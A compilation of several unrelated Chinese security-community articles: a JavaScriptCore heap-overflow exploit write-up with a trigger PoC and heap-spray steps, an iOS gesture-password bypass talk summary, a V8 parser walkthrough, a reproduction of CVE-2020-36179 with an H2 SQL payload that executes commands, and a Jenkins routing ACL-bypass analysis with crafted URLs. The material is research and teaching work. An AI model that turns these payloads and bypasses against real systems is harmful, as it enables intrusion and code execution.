}
RETURN(result);
}
请大家看到上述代码中标记了[[1]]的部分，函数首先会计算输出数组的长度大小，程序稍后会在[[2]]进行空间分配以及初始化操作。但是，此时计算出来的数组空间长度很可能会发生溢出，并引起一个相似的数组被分配。
因为JSObject::initializeIndex并不会执行任何的边界检测，为了印证这一点，请大家先看看下面这段代码：
/* ... */
case ALL_CONTIGUOUS_INDEXING_TYPES: {
ASSERT(i < butterfly->publicLength());
ASSERT(i < butterfly->vectorLength());
butterfly->contiguous()[i].set(vm, this, v);
break;
}
/* ... */
如果数据发生越界，那么此时便会出现堆缓冲区溢出的问题。这个漏洞可以通过下面这段脚本代码来触发：
var a = new Array(0x7fffffff);
var x = [13, 37, ...a, ...a];
此时，一个长度为0的JSArray对象将会被创建，然后再向这个JSArray对象中拷贝了2^32个元素进去，我们的浏览器可不想看到这样的事情发生。
当然了，想要解决这个问题也并不难。我们只需要添加一个针对整形溢出问题的检测函数久可以修复这个问题了。【[漏洞修复方案](https://github.com/WebKit/webkit/commit/61dbb71d92f6a9e5a72c5f784eb5ed11495b3ff7)】
**漏洞利用**
虽然上面给出的PoC代码会多次使用一个数组，但JavaScriptCore仍然会在每一次的数组扩展操作中分配一个JSFixedArray对象（查看标注[[2]]下面的代码）。这样一来，系统将会分配大约四十亿个JSValues对象，这些JSValues对象将会占用大约32GiB的RAM空间。不过幸运的是，由于macOS内核引入了页面压缩功能，因此这个问题不会对macOS
平台产生较大的影响，但是对于其他平台来说，攻击者可以在一分钟左右的时间里成功触发这个漏洞，因此它的影响还是比较严重的。
我们现在剩下要做的就是通过执行Heep Feng-Shui来替换堆内存中的某些数据，因为我们要尝试触发堆内存溢出。我们可以使用下面这些堆喷射技术来利用这个漏洞：
1.分配一百个大小为0x40000的JSArrays对象，然后保存它们的引用。这将多次触发GC并对堆内存进行填充。
2.分配一百个大小为0x40000的JSArrays对象，然后只保存每一个对象的下一个地址，这样将会触发GC并在堆内存空间中留下大小为0x40000的空白区域。
3.分配一个较大的JSArray对象，并分配一个大小相同的ArrayBuffer。
4.使用JSArryas分配4GiB的填充空间。
5.通过连接这些JSArrays对象来触发漏洞，连接后的大小为2^32+0x40000（包含重复字节0x41）
目标缓冲区（A）将会被分配到第二步的喷射区域中，此时第三步的缓冲区（B）空间将会被覆盖。这样会将目标数组的大小增加至喷射值（0x
4141414141414141）,所以这部分内容将会部分覆盖ArrayBuffer。最后一步会立刻生成fakeobj和addrof原语（这部分在[JavaScriptCore
phrack
paper](http://phrack.com/papers/attacking_javascript_engines.html)的1.2章节中有过介绍），它们可以用来向JIT页面中写入代码，并跳转到目标页面。
在我们所设计出的漏洞利用技术中，我们在一个单独的[Web Worker](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers)中执行了上面的第五步，因此我们可以在目标数组被重写之后立刻启动一个Second-Stage Shellcode。这样一来，我们就不用等待覆盖写入操作全部完成了，我们可以保证堆内存处于被破坏的状态，而GC（垃圾回收器）也不会发生崩溃。
完整的漏洞利用代码可以在我们的GitHub仓库中找到。【[传送门](https://github.com/phoenhex/files/blob/master/exploits/spread-overflow)】 | 社区文章 |
# FIT 2016集锦 | 解锁iOS手势密码的正确姿势
|
##### 译文声明
本文是翻译文章，文章来源：freebuf
原文地址：<http://www.freebuf.com/news/95861.html#rd>
译文仅供参考，具体内容表达以及含义原文为准。
****
**刚刚过去的FreeBuf互联网安全创新大会(FIT)中,平安科技银河实验室安全研究员姜若芾带来的“解锁iOS手势密码”的议题尤为吸睛。**
**什么是手势密码?**
手势密码,就是用一个手势作为密码,手机界面上有9个点,任意连接其中若干个点就能组成一个图案,这个图案即可作为一种密码。相比于传统密码,手势密码更为便捷,更易记忆,用户体验也非常良好。
据说只有安卓系统可以使用手势密码解锁手机,于是……
**iOS手势密码原理**
查阅GitHub上关于iOS手势密码组件讲解最为详细、最受好评的非KKGestureLockView莫属。阅读源代码可以知道,只需在手势密码界面的控制类中实现组件的两个代理回调方法即可集成KKGestureLockView。这两个回调方法分别是:
- (void)gestureLockView:(KKGestureLockView *)gestureLockView didBeginWithPasscode:(NSString *)passcode;
- (void)gestureLockView:(KKGestureLockView *)gestureLockView didEndWithPasscode:(NSString *)passcode;
****
**解锁姿势**
设置密码的初衷是为了阻止别人进入自己的设备,泄露不该泄露的信息。正是由于密码的存在,也激发了安全研究员们寻找解锁密码的各种姿势。
**姿势0:飞行模式越过手势密码**
2013年,支付宝iOS客户端被爆出一个严重漏洞,在飞行模式下,进入支付宝钱包,并连续输入5次错误手势密码后,支付宝会提示输入登录密码。随后在后台关闭支付宝应用,重新进入支付宝应用后,会提示重新设置手势密码,重新绘制手势密码后,关闭飞行模式,即出现账户已经登录的界面。
**姿势1:修改文件重置手势密码**
有些应用在用户设定好手势密码之后,会将手势密码对应的数字序列以明文或者单次MD5的方式存储在本地,用户解锁时需要对比明文或者MD5数字序列。而对于攻击者来说,只需将某个特定手势对应的数字序列替换掉本地存储的数据,即可重置用户的手势密码。
****
**姿势2:“偷窥“手势密码**
这里所说的偷窥,不是在别人输入密码时偷瞄别人的密码,而是应用在校验密码的过程中处理不当,导致内存中的“password“变量可被攻击者识别。
**姿势3:芝麻开门**
这个姿势实际上是开发者在开发进程中留下的一个问题,我们称之为校验密码成功回调。此处需要配备一些逆向技术知识才可成功实现。
**姿势4:买通密码审判官**
这也是开发者不小心犯的一个错误,将校验手势密码的方法暴露在了外面,攻击者只需简单的修改一下就能顺利买通“审判官“,拿到用户手势密码。
**姿势5:暴力破解手势密码**
没有办法的办法就是暴力破解。通常手势密码都有错误次数限制,一旦输错手势密码超过一定次数,应用就会要求用户重新登录。所以攻击者一定要注意控制输入密码的次数。
对于安全研究员来说,解锁密码不是目的,他们的目的是发现问题并解决问题,所以姜同学在解锁iOS手势密码的同时也想出了一些破解之法,比如优化本地敏感信息的存储、优化密码校验逻辑、隐藏关键代码等。
**观看视频** | 社区文章 |
# 《Chrome V8原理讲解》21 编译链2：Token和AST，被忽略的秘诀
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1 摘要
本篇是编译链专题的第二篇，详细解释Javascript源码到Token，再到抽象语法树（AST）的转换过程。本文组织方式，词法分析器与Token（章节2）；抽象语法树（章节3）。
## 2 词法分析器与Token生成
接前文说，Parser实例化后，开始语法分析，源码如下：
1. FunctionLiteral* Parser::ParseProgram(Isolate* isolate, ParseInfo* info) {
2. //省略很多....................
3. scanner_.Initialize();
4. scanner_.SkipHashBang();
5. FunctionLiteral* result = DoParseProgram(isolate, info);
6. MaybeResetCharacterStream(info, result);
7. MaybeProcessSourceRanges(info, result, stack_limit_);
8. HandleSourceURLComments(isolate, info->script());
9. //省略很多....................
10. return result;
11. }
语法分析的输入数据是Token，Token由词法分析器提供，代码3行词法分析器初始化的入口，源码如下：
1. void Scanner::Initialize() {
2. Init();
3. next().after_line_terminator = true;
4. Scan();
5. }
代码2行，词法分析器初始化，初始化完成后执行代码4行生成一个Token， **注意** 只生成一个！。`Init()`源码如下：
1. void Init() {
2. Advance();
3. current_ = &token_storage_[0];
4. next_ = &token_storage_[1];
5. next_next_ = &token_storage_[2];
6. found_html_comment_ = false;
7. scanner_error_ = MessageTemplate::kNone;
8. }
9. //分隔线.........................
10. template <bool capture_raw = false>
11. void Advance() {
12. if (capture_raw) {
13. AddRawLiteralChar(c0_);
14. }
15. c0_ = source_->Advance();
16. }
17. //分隔线..................
18. inline uc32 Advance() {
19. uc32 result = Peek();
20. buffer_cursor_++;
21. return result;
22. }
23. //分隔线....................
24. inline uc32 Peek() {
25. if (V8_LIKELY(buffer_cursor_ < buffer_end_)) {
26. return static_cast<uc32>(*buffer_cursor_);
27. } else if (ReadBlockChecked()) {
28. return static_cast<uc32>(*buffer_cursor_);
29. } else {
30. return kEndOfInput;
31. }
32. }
代码2行，`Advance()`前进一个字符，即读取源码中的下一个字符，代码11行是`Advance()`源码；代码15行`c0_`保存下一个字符，也就是将要分析的字符，`source_->Advance()`取出一个字符给`c0_`，它的源码在代码18行；代码20行`buffer_cursor_`是字符串指针，指针Javascript源码，输出一个字符给`c0_`之后，`++`操作是指向下一个字符；`Peek()`源码在24行。
返回`void Init()`方法，代码3~5行
`current_,next_,next_next_`是三个Token存储单元，分别保存了当前、下个、下下个Token。
返回`void Scanner::Initialize()`,代码4行，执行扫描，源码如下：
1. void Scanner::Scan() { Scan(next_); }
2. //分隔线.....................
3. void Scanner::Scan(TokenDesc* next_desc) {
4. next_desc->token = ScanSingleToken();
5. DCHECK_IMPLIES(has_parser_error(), next_desc->token == Token::ILLEGAL);
6. next_desc->location.end_pos = source_pos();
7. }
8. //分隔线......................
9. V8_INLINE Token::Value Scanner::ScanSingleToken() {
10. Token::Value token;
11. do {
12. next().location.beg_pos = source_pos();
13. if (V8_LIKELY(static_cast<unsigned>(c0_) <= kMaxAscii)) {
14. token = one_char_tokens[c0_];
15. switch (token) {//省略很多代码.....................
16. case Token::IDENTIFIER:
17. return ScanIdentifierOrKeyword();
18. default:
19. UNREACHABLE();
20. }
21. }
22. if (IsIdentifierStart(c0_) ||
23. (CombineSurrogatePair() && IsIdentifierStart(c0_))) {
24. return ScanIdentifierOrKeyword();
25. }
26. if (c0_ == kEndOfInput) {
27. return source_->has_parser_error() ? Token::ILLEGAL : Token::EOS;
28. }
29. token = SkipWhiteSpace();
30. // Continue scanning for tokens as long as we're just skipping whitespace.
31. } while (token == Token::WHITESPACE);
32. return token;
33. }
代码4行，扫描一个Token，扫描时需要对js源码进行拆分，拆分时使用了预先定义的模板，我们的测试代码中第一个字符是`f`，根据变量的定义规则，`f`是一个标识符，它可以是一个普通的变量名，也可以是`function`的首字母，所以进入代码16~17行。生成Token是根据预先设定的条件对源码中字符、单词进行逐个判断，其本质是有限状态自动机，预先设定的条件和字符匹配模板参见第三、四两篇文章。代码17行，进入`ScanIdentifierOrKeyword()`函数，源码如下：
1. V8_INLINE Token::Value Scanner::ScanIdentifierOrKeywordInner() {
2. STATIC_ASSERT(arraysize(character_scan_flags) == kMaxAscii + 1);
3. if (V8_LIKELY(static_cast<uint32_t>(c0_) <= kMaxAscii)) {
4. if (V8_LIKELY(c0_ != '\\')) {
5. uint8_t scan_flags = character_scan_flags[c0_];
6. DCHECK(!TerminatesLiteral(scan_flags));
7. //省略很多....................
8. AdvanceUntil([this, &scan_flags](uc32 c0) {
9. if (V8_UNLIKELY(static_cast<uint32_t>(c0) > kMaxAscii)) {
10. scan_flags |=
11. static_cast<uint8_t>(ScanFlags::kIdentifierNeedsSlowPath);
12. return true;
13. }
14. uint8_t char_flags = character_scan_flags[c0];
15. scan_flags |= char_flags;
16. });
17. if (V8_LIKELY(!IdentifierNeedsSlowPath(scan_flags))) {
18. //省略很多...................
19. }
20. can_be_keyword = CanBeKeyword(scan_flags);
21. } else {
22. //省略很多................
23. }
24. }
25. return ScanIdentifierOrKeywordInnerSlow(escaped, can_be_keyword);
26. }
上面的流程完成一次，生成一个Token，词法分析器返回给Token给语法分析器。
## 3 AST树生成
AST的生成由`DoParseProgram()`函数负责，源码如下：
1. FunctionLiteral* Parser::DoParseProgram(Isolate* isolate, ParseInfo* info) {
2. ParsingModeScope mode(this, allow_lazy_ ? PARSE_LAZILY : PARSE_EAGERLY);
3. FunctionLiteral* result = nullptr;
4. {
5. DeclarationScope* scope = outer->AsDeclarationScope();
6. scope->set_start_position(0);
7. FunctionState function_state(&function_state_, &scope_, scope);
8. ScopedPtrList<Statement> body(pointer_buffer());
9. int beg_pos = scanner()->location().beg_pos;
10. if (parsing_module_) {
11. //省略很多................
12. } else if (info->is_wrapped_as_function()) {
13. ParseWrapped(isolate, info, &body, scope, zone());
14. } else {
15. this->scope()->SetLanguageMode(info->language_mode());
16. ParseStatementList(&body, Token::EOS);
17. }
18. scope->set_end_position(peek_position());
19. if (is_strict(language_mode())) {
20. CheckStrictOctalLiteral(beg_pos, end_position());
21. }
22. if (is_sloppy(language_mode())) {
23. InsertSloppyBlockFunctionVarBindings(scope);
24. }
25. if (info->is_eval()) {
26. DCHECK(parsing_on_main_thread_);
27. info->ast_value_factory()->Internalize(isolate);
28. }
29. CheckConflictingVarDeclarations(scope);
30. }
31. info->set_max_function_literal_id(GetLastFunctionLiteralId());
32. return result;
33. }
代码2行，获取lazy选项；代码8行创建body对象，该对象用于暂存AST树，代码16行以body为输入，开始语法分析，源码如下：
1. void ParserBase<Impl>::ParseStatementList(StatementListT* body,
2. Token::Value end_token) {
3. DCHECK_NOT_NULL(body);
4. while (peek() == Token::STRING) {
5. //省略代码.........
6. }
7. TargetScopeT target_scope(this);
8. while (peek() != end_token) {
9. StatementT stat = ParseStatementListItem();
10. if (impl()->IsNull(stat)) return;
11. if (stat->IsEmptyStatement()) continue;
12. body->Add(stat);
13. }
14. }
代码4行，`peek()`方法查看当前Token，判断Token类型是否为字符串,此时token是`function`,它的类型是标识符，执行代码9行，`ParseStatementListItem()`,源码如下：
1. ParserBase<Impl>::ParseStatementListItem() {
2. switch (peek()) {
3. case Token::FUNCTION:
4. return ParseHoistableDeclaration(nullptr, false);
5. case Token::CLASS:
6. Consume(Token::CLASS);
7. return ParseClassDeclaration(nullptr, false);
8. case Token::VAR:
9. case Token::CONST:
10. return ParseVariableStatement(kStatementListItem, nullptr);
11. case Token::LET:
12. if (IsNextLetKeyword()) {
13. return ParseVariableStatement(kStatementListItem, nullptr);
14. }
15. break;
16. case Token::ASYNC:
17. if (PeekAhead() == Token::FUNCTION &&
18. !scanner()->HasLineTerminatorAfterNext()) {
19. Consume(Token::ASYNC);
20. return ParseAsyncFunctionDeclaration(nullptr, false);
21. }
22. break;
23. default:
24. break;
25. }
26. return ParseStatement(nullptr, nullptr, kAllowLabelledFunctionStatement);
27. }
通过上述代码中的`case`条件，决定下一步如何分析代码。在我们的测试代码中，function是第一个字符串，也是一个定义函数时的开始字符串。书写一条javascript语句时，能做“开始字符串”的类型有哪些？变量定义、常量定义、类定义都可以做“开始字符串”，这和上述代码中的`case`对应。前面提到token的类型是标识符，所以执行代码4行，分析函数声明定义，图1给出了V8的调用堆栈。
`ParseVariableStatement()`的作用是对语句进行分析。一条语句，可以是变量定义、函数定义等，js源码是由很多语句组成，所以会反复调用`ParseStatementListItem()`，最终生成语法树。
**要点总结：**
**（1）** 被忽略的秘诀是有限状态自动机，语法分过程的实现原理是有限自动机，在C++中使用`switch
case`实现。弄明白各种宏模板和`switch case`，再看v8编译会事半功倍；
**（2）** 以函数为单位生成语法树，每个函数生成一棵抽象语法树；
**（3）** 因为有lazy编译技术，函数执行时才会编译；
**（4）** 抽象语法树保存在`FunctionLiteral`类结构中；
**（5）** 语法分析器驱动词法分析器工作，词法分析的token定义主要由以下几个宏模板组成。
1. #define IGNORE_TOKEN(name, string, precedence)
2. /* Binary operators */
3. /* ADD and SUB are at the end since they are UnaryOp */
4. #define BINARY_OP_TOKEN_LIST(T, E) \
5. #define EXPAND_BINOP_ASSIGN_TOKEN(T, name, string, precedence) \
6. T(ASSIGN_##name, string "=", 2)
7. #define EXPAND_BINOP_TOKEN(T, name, string, precedence) \
8. T(name, string, precedence)
9. #define TOKEN_LIST(T, K) \
10. T(TEMPLATE_SPAN, nullptr, 0) \
11. T(TEMPLATE_TAIL, nullptr, 0) \
12. /* BEGIN Property */ \
13. T(PERIOD, ".", 0) \
14. T(LBRACK, "[", 0) \
15. /* END Property */ \
16. /* END Member */ \
17. T(QUESTION_PERIOD, "?.", 0) \
18. T(LPAREN, "(", 0) \
19. /* END PropertyOrCall */ \
好了，今天到这里，下次见。
**恳请读者批评指正、提出宝贵意见**
**微信：qq9123013 备注：v8交流 邮箱：[[email protected]](mailto:[email protected])** | 社区文章 |
## 测试过程
<https://github.com/Al1ex/CVE-2020-36179>
* windows可以直接利用
* mac会出错，需改写组件类（具体看以下）
## MAC出错分析
### 第一点：SQL文件分析
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('calc.exe')
#### h2知识
#### <https://www.jianshu.com/p/4a613dcf182c>
* java SQL database
* 可作为java的内嵌式数据库
* 支持r2dbc spi，类似jdbc的规范
* 三种运行方式：
* 内存模式（只适合测试环境）
在利用的时候，DBName可为空
jdbc:h2:mem:DBName;DB_CLOSE_DELAY=-1
* 嵌入模式（持久化为文件）
jdbc:h2:file:~/.h2/DBName;AUTO_SERVER=TRUE
* 服务模式
jdbc:h2:tcp://localhost/~/test 使用用户主目录
jdbc:h2:tcp://localhost//data/test 使用绝对路径
* SQL语法
* RUNSCRIPT FROM：运行sql脚本
* SCRIPT：根据数据库创建sql脚本
* h2自定义函数
CREATE ALIAS 大写函数名 AS $$
import ***;
String 函数名(type args) throw ***{javacode}
$$;
CALL 大写函数名(args)
#### java代码
最基本的回显命令
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
### 第二点：MAC错误原因
#### 现象
* MAC出现以下错误信息
* windows偶尔运行成功，偶尔运行失败
#### 猜测原因
* jdk版本
* jdk关于不同系统底层类存在偏差
* idea配置
#### 调试分析
windows与manc的java版本都为1.8.0_221，所以排除情况1。
windows与manc的idea经对比后，基本一致，所以排除情况3。
进行调试，验证情况2。
* 对mac和windows进行同步调试
* windows调用链如下
* mac调用链如下
* 小结
* 运行成功时
从NativeMethodAccessorImpl类的invoke0方法跳到DriverAdapterCPDS类的getDescription方法
* 运行失败时
从NativeMethodAccessorImpl类的invoke0方法跳到DriverAdapterCPDS类的getParentLogger方法
* NativeMethodAccessorImpl类属于jdk类
#### 结论分析
初步调试中，发现windows和mac最后几步跳转不同。
为了找出具体原因，进行深度对比调试。
发现
* BeanSerializerBase类中的serializeFields方法
* 对 **props数组** 进行配置定义，以下为关键代码
* props数组包含h2连接的一些参数，如url、description等，利用prop.serializeAsField(bean, gen, provider方法对props数组中的各个参数进行配置
* 我们可以从报错信息中发现，parentLogger变量在进行配置时会报错，具体原因不赘述
* 其中，windows系统中parentLogger位置相对靠后，但顺序不定
* 其中，mac系统中parentLogger位置固定于14
因此我们可知，parentLogger参数位置是造成windows和mac系统错误与否的原因
在mac中，parentLogger参数在前，配置时报错，而后程序中止
同时，我们可推测14后面的四个参数可能是执行连接操作，也就是真正触发漏洞的参数
* 在windows系统中，调试，将i设置为pooledConnection对应的位置
* 发现，计算机打开，漏洞触发，因此pooledConnection就是h2连接数据库的漏洞触发参数
结论
* props数组中的pooledConnection参数与parentLogger参数的相对位置是漏洞执行与否的关键
* parentLogger参数在前，则直接报错；pooledConnection参数在前，则漏洞触发
* pooledConnection参数是漏洞触发点 | 社区文章 |
**作者：Lucifaer
博客：<https://www.lucifaer.com>**
### 0x01 Jenkins的动态路由解析
`web.xml`：
可以看到Jenkins将所有的请求交给`org.kohsuke.stapler.Stapler`来处理的，跟进看一下这个类中的`service`方法：
可以看到这里会根据url来调用不同的webApp，如果url以`/$stapler/bound/`开头，则根节点对象为`org.kohsuke.stapler.bind.BoundObjectTable`，否则为`hudson.model.Hudson`（继承jenkins.model.Jenkins）。
这里涉及到四个参数：
* req：请求对象
* rsp：响应对象
* root：webApp（根节点）
* servletPath：经过路由解析后的对象
继续向下跟：
在`org.kohsuke.stapler.Stapler#tryInvoke`中会根据不同的webApp的类型对请求进行相应的处理，处理的优先级顺序向下：
* StaplerProxy
* StaplerOverridable
* StaplerFallback
在`tryInvoke`中完成对路由的分派以及将路由与相应的功能进行绑定的操作，这里面比较复杂，但是非常有意思。
我们来看一下文档中是如何介绍路由请求这部分操作的：
文档中详细的说明了当我们传入类似`/foo/bar/`这样的url时路由解析的具体做法，具体看一下`tryInvoke`中的代码实现：
这里首先会根据webApp（根节点）来获取webApp的一个MetaClass对象，然后轮询MetaClass中所有的分派器——也就是Dispatcher.dispatcher。我们这里知道webApp是`hudson.model.Hudson`（继承jenkins.model.Jenkins），也就是说这里创建了MetaClass后会将请求包带入所有的分派器中进行相应的路由处理。
那么接下来就会有两个问题了：
* metaClass是如何构造的？还有metaClass是个什么东西？
* 在哪里完成的如文档所说的递归进行路由解析并通过分派器进行相应处理的呢？
这个两个问题困扰我很长的时间，在我耐心的动态调了一遍之后才明白了他的调用原理。
#### metaClass的构建
这里我会用动态调试的方式来解释metaClass的构建过程以及它是一个什么东西。
这里我用根据orange文章中所给出的路由来进行跟踪，路由为`/securityRealm/user/test/`。那么首先看一下metaClass的构建过程：
这里有两个关键点`getMetaClass`以及`getKlass`，首先跟进`getKlass`看一下:
首先先判别我们传进来的node（也就是节点）是否是属于上面三个Facet的一个配置项，关于Facet我的理解是用于简化项目配置项的一种操作，它并不属于J2EE的部分，这部分我是参考<https://stackoverflow.com/questions/1809918/what-is-facet-in-javaee>。跟进`f.getKlass`，会发现直接返回null，所以我们不用关注这个循环，继续向下看`Klass.java(o.getClass())`：
这里动态的实例化了`KlassNavigator.JAVA`，这里的Klass其实是一个动态实例化的对象，这个对象中存在很多方法用于操作，同时也实例化了`Klass`类。可能现在还是看不出来什么和metaClass有关的东西，那不妨接着看看`getMetaClass`中是怎么处理这个`Klass`的。
跟进`MetaClass`：
在这里首先通过之前实例化的`Klass`对象中的方法来获取node节点的信息，并调用`buildDispatchers()`来创建分派器，这个方法是url调度的核心。
这个方法非常的长，我们来梳理一下（其实orange已经帮助我们梳理了），我是按照代码中自上而下的顺序来整理的：
* `<obj>.do<token>(...)`也就是`do(...)`和`@WebMethod`标注的方法
* `<obj>.doIndex(...)`
* `<obj>js<token>`也就是`js(...)`
* 有`@JavaScriptMethod`标注的方法
* `NODE.getTOKEN()`也就是`get()`
* `NODE.getTOKEN(StaplerRequest)`也就是`get(StaplerRequest)`
* `<obj>.get<Token>(String)`也就是`get(String)`
* `<obj>.get<Token>(int)`也就是`get(int)`
* `<obj>.get<Token>(long)`也就是`get(long)`
* `<obj>.getDynamic(<token>,...)`也就是`getDynamic()`
* `<obj>.doDynamic(...)`也就是`doDynamic()`
也就是说符合以上命名规则的方法都可以被调用。
`buildDispatchers()`的主要作用就是寻找对应的node节点与相应的处理方法（继承家族树中的所有类）并把这个方法加入到分配器dispatchers中。而这里所说的这个方法可能是对节点的进一步处理最后通过反射的方法调用真实处理该节点的方法。
举一个例子，在代码中可以看到在对`get(...)`类的node进行处理的时候都会动态生成一个`NameBasedDispatcher`对象并将其添加进入dispathers中，而这个对象都存在`doDispatch()`的方法用于处理分派器传来的请求，而在处理请求的最后都会调用`invoke`来反射调用真实处理方法：
这里先记一下这样的处理过程，在之后的分派器处理路由请求时会有涉及。
#### 路由请求处理过程
仍然是以上面`/securityRealm/user/test/`路由为例。首先不看代码，先根据文档中所描述的处理方式大致猜一下这一串路由是如何解析的：
-> node: Hudson
-> node: securityRealm
-> node: user
-> node: test
回到`tryInvoke`中我们来具体看一下在代码中是怎么做的：
注意到这里会有一个遍历`metaClass.dispatchers`的操作，然后在每次遍历的过程中，将请求、返回以及node节点传入`Dispatcher.dispatch`中，跟一下这个`dispatch`：
这个是一个抽象类，那么他的具体实现是什么呢，还记得上一节所探讨的metaClass中对get请求的处理么，它们都会动态的生成一个`NameBasedDispatcher`对象，而我们现在的处理过程中就会调用到这个对象中的`dispatch`方法，我们来看一下：
注意看红框的部分，这里会获取请求的node节点，并调用其具体实现中的`doDispatch`方法，而这个`doDispatch`方法是在`buildDispatchers()`中根据不同的node节点动态生成的，那么也就是调用了处理`get(...)`的`doDispatch`：
这里我们有一个疑惑，第一个节点已经ok了，那么如何递归的解析其他的节点呢？这一点需要跟一下`req.getStapler().invoke()`，先看一下`getStapler()`：
就是当前的Stapler。这里的ff是一个`org.kohsuke.stapler.Function`对象，它保存了当前根节点中方法的各种信息：
ff.invoke会返回`Hudson.security.HudsonPrivateSecurityRealm`对象：
然后将这个`HudsonPrivateSecurityRealm`对象作为新的根节点再次调用`tryInvoke`来进行解析，一直递归到将url全部解析完毕，这样才完成了动态路由解析。
### 0x02 Jenkins白名单路由
在跟踪Jenkins的动态路由解析中，一直没有提及一个过程，就是在`org.kohsuke.stapler.Stapler#tryInvoke`中首先对属于`StaplerProxy`的node进行的一个校验：
跟进看一下：
这里首先要进行权限检查，首先检查访问请求是否具有读的权限，如果没有读的权限则会抛出异常，在异常处理中会对URL进行二次检测，如果`isSubjectToMandatoryReadPermissionCheck`返回false，则仍能正常的返回，那么跟进看一下这个方法：
这里有三种方法绕过权限检查，这里着重看一下第一种，可以看到这里有一个白名单，如果请求的路径是这其中的路径的话，就可以绕过权限检测：
### 0x03 绕过ACL进行跨物件操作
这也是orange文章中最为精华的部分，主要是有三个关键点：
* Java中万物皆继承于java.lang.Object，所以所有在Java中的类都存在`getClass()`这个方法
* Jenkins的动态路由解析过程也是一个`get(...)`的命名格式，所以`getClass()`可以在Jenkins调用链中被动态调用。
* 上文中所说的白名单可以绕过ACL的检测
重点说一下第二点，根据文档以及我们上文的分析，如果有这么一个路由：
http://jenkin.local/adjuncts/whatever/class/classLoader/resource/index.jsp/content
那么在Jenkins的路由解析过程中会是这样的过程：
jenkins.model.Jenkins.getAdjuncts("whatever")
.getClass()
.getClassLoader()
.getResource("index.jsp")
.getContent()
当例子中的class更改成其他的类时，get(...)也会被相应的调用，也就是说可以操作任意的GETTER方法！
理解了这一点，我们只需要把调用链中各个物件间的关系找出来就能构成一条完整的利用链！这一点才是整个漏洞中最精彩的一部分。
### 0x04 整理漏洞利用链
在利用orange文章中给出的跳板url进行跟踪的过程中，我一直试图去理解为什么要这样的构造，而并不是直接拿来这个url进行动态调。下面我将尝试去解释如何一步步发现以及一步步的构造这个跳板。
在0x02中我们已经分析了可以利用三种白名单中的路由格式来绕过权限检查，这里我们利用`securityRealm`来构造利用链。
#### securityRealm中可用的利用链
我们看一下`securityRealm`对应的metaClass中有什么可以用的：
可以看到总共可用的有30个之多，而真正可以控制的利用链只有`hudson.security.HudsonPrivateSecurityRealm.getUser(String)`。
>
> 如果仔细阅读了文档，可以很容易根据方法名来理解这个方法主要是干什么的，比如get(...)[token]这样的，就说明他会根据路由解析策略来解析之后的参数，如果说是do(...)这样的，证明会执行相应的方法。
那么也就说我们之后的操作需要基于`getUser`这个方法。根据路由解析策略，我们现在构造这样的url来进一步动态看一下在`User`对应的metaClass中有什么可以利用的。
#### 突破习惯性思维
我们这此将url更改为：
/securityRealm/user/admin
看一下metaClass中的内容，发现都是`User`这个类中的方法，好像没有什么能用的东西，好像这个思路不可行了，那么这个时候能不能继续利用路由的解析特点来调用其他的类中的方法呢？可以的。
这个时候就要说一下在每个节点加载时候存在的一个问题，这部分是我自己的猜测可能有错误，希望大家指正。
根据0x01中的分析，我们都知道第一个根节点为`hudson.model.Hudson`，而`Hudson`又是继承于`Jenkins`的，所以他会将hudson和jenkins包下的model中所有的类全部都加载进metaClass中，从动态调试中我们也能看得出来：
那么由于我们是需要利用`securityRealm`来绕过权限检测，那么这个时候下次处理的根节点为`hudson.security.HudsonPrivateSecurityRealm`，同样，这里也会加载`HudsonPrivateSecurityRealm`这个类下的所有方法，因为这里只有`getUser(String)`中的String是收我们控制并且能执行的一个方法，所以我们这里就可以调用到`hudson.model.User`类，此时路由解析会认为下一个节点是该方法的一个参数（token），在解析下一个节点时将其节点带入到`getUser()`方法中。在这里metaClass中是`User`这个类中的所有方法，但是在路由解析中认为下一个节点并不会是与`User`所相关的参数或方法。
**所以当我们在这里新传入一个不在metaClass中的方法时，他首先会在构建metaClass的过程中尝试找到这个未知的类及其继承树中的类，并将其加入到metaClass中。**
而这个添加的过程，就在`webApp.getMetaClass(node)`中：
所以我可以构造这么样一个url来调用`hudson.search.Search#doIndex`来进行查询：
http://localhost:8080/jenkins_war_war/securityRealm/user/admin/search/index?q=a
同样我也可以尝试调用`hudson.model.Api#doJson`：
http://localhost:8080/jenkins_war_war/securityRealm/user/admin/api/json
这么顺着想当然没有问题，但是我在分析的时候又有一个想法，如果说我不加`user/admin`也就是说不调用`User`能不能直接加载`api/json`来查看信息呢？
不行，为什么呢？同样的问题也出现在调用`search/index`中。
#### 理解metaClass的加载机制
这个问题其实是一个比较钻牛角尖的问题，以及对`metaClass`加载方式不完全了解的问题。我们来看一下`User`的继承树关系图:
`User`类是直接继承于`AbstractModelObject`这个抽象类的，而`AbstractModelObject`是`SearchableModelObject`这个接口的实现，这是一条完整的继承树关系。我们来首先看一下`SearchableModelObject`这个接口：
在接口这里声明了一个`getSearch()`方法，也就是说当节点为`User`类时，在metaClass寻找的过程中是可以通过继承树关系来找到`getSearch()`方法的，接下来看一下具体的实现:
这里会返回一个`Search`对象，然后这个对象中的所有方法都会被添加进入metaClass中，并通过`buildDispatchers()`来完成分派器的生成，然后就是正常的路由解析过程。
而在`HudsonPrivateSecurityRealm`的继承树关系中是没有这一层关系的：
所以`search/index`是没办法被找到的。
#### 思考
现在我们理清楚了未什么跳板url需要这样构造，说实话，调用到`User`这个类其实就是完成了一个作用域的调转，从原来的限制比较死的作用域跳转到一个更加广阔的作用域中了。
那么现在问题来了，rce的利用链到底在哪里？
我们重新看看在`User`节点中还有什么是可以利用的：
这里好像可以调用`ModelObject`中的东西，那么先来分析一下`DescriptorByNameOwner`这个接口：
可以看到就是通过id来获取相应的Descriptor，也就是说接下来去寻找可用的Descriptor就行了。这里下个断点就能看到582个可调用的Descriptor了。
### 0x05 Groovy沙盒绕过最终导致的rce
Jenkins 2019-01-08的安全通告中包含了Groovy沙箱绕过的问题：
其实最后可利用的点并非这么几条路，但是其原理都是差不多的，这里用Script Security这个插件作为例子来分析。
